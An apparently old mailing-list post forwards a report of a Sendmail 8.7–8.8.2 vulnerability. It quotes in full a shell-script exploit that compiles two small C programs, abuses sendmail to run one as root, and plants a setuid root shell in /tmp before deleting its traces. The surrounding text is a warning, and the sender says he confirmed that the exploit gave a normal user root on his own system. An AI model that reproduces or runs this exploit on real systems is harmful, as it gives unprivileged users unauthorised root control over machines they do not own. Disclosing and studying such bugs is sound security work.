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New vulnerability in Sendmail


I received this from the Linux Security mailing list today.  I checked the 
CERT archives and apparantly this problem is not yet documented.  It looks 
like it has a potential to be very serious.

I tested it out on my Debian system (sendmail 8.7.6) and it worked -- that is, 
it gave a normal user a root shell.  Yikes!

I have not yet seen any posted remedy for this situation, but I will be 
certain to watch for one.

(CCs to Tom, Jeff, and Karl...I thought you might be interested to see this, 
as it might effect your systems.)

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Subject: [linux-security] Sendmail 8.8.2 exploit.

Hm, look what I got hold of today.. Works if sendmail is mode 4111 or

#! /bin/sh
#                                   Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !
#                           ----------------------
#               ---------------------------------------------
#    -----------------   Dedicated to my beautiful lady   ------------------
#               ---------------------------------------------
#                           ----------------------
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" 
"\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd

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